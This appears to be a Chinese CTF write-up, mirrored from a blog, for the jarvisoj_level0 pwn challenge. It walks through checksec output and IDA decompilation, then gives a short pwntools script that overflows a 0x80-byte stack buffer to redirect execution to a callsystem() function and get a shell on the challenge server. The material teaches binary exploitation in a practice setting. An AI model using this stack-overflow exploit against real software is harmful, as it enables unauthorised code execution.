zoukankan      html  css  js  c++  java
  • jarvisoj_level0

    1. checksec jarvisoj_level0

    Arch: amd64-64-little
    RELRO: No RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x400000)

    1. 拖进IDA64,找到main()反编译
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      write(1, "Hello, World
    ", 0xDuLL);
      return vulnerable_function();
    }
    

    因此关键在vulnerable_function()

    ssize_t vulnerable_function()
    {
      char buf; // [rsp+0h] [rbp-80h]
    
      return read(0, &buf, 0x200uLL);
    }
    
    1. 利用read()实现栈溢出,因为buf的范围在[rsp+0h] [rbp-80h],再加上rbp的8字节,所以需覆盖"a"*(0x80+8)后到达返回地址。同时发现有个函数callsystem()可以获得shell
    2. 所以payload后加上该函数的地址0x400596
    3. 完整代码如下
    from pwn import *
    
    p = remote('node3.buuoj.cn', 29317)
    
    payload = 'a'*136 + p64(0x400596)
    p.sendline(payload)
    p.interactive()
    
    1. 运行后,ls cat flag即可
  • 相关阅读:
    第一阶段各队建议
    解决死锁四大方式
    进程和线程区别
    windows 地址空间分配
    Linux下用户组、文件权限详解
    2016总结
    class内部处理
    c++ devived object model
    static
    reinterpret
  • 原文地址:https://www.cnblogs.com/vict0r/p/13806350.html
Copyright © 2011-2022 走看看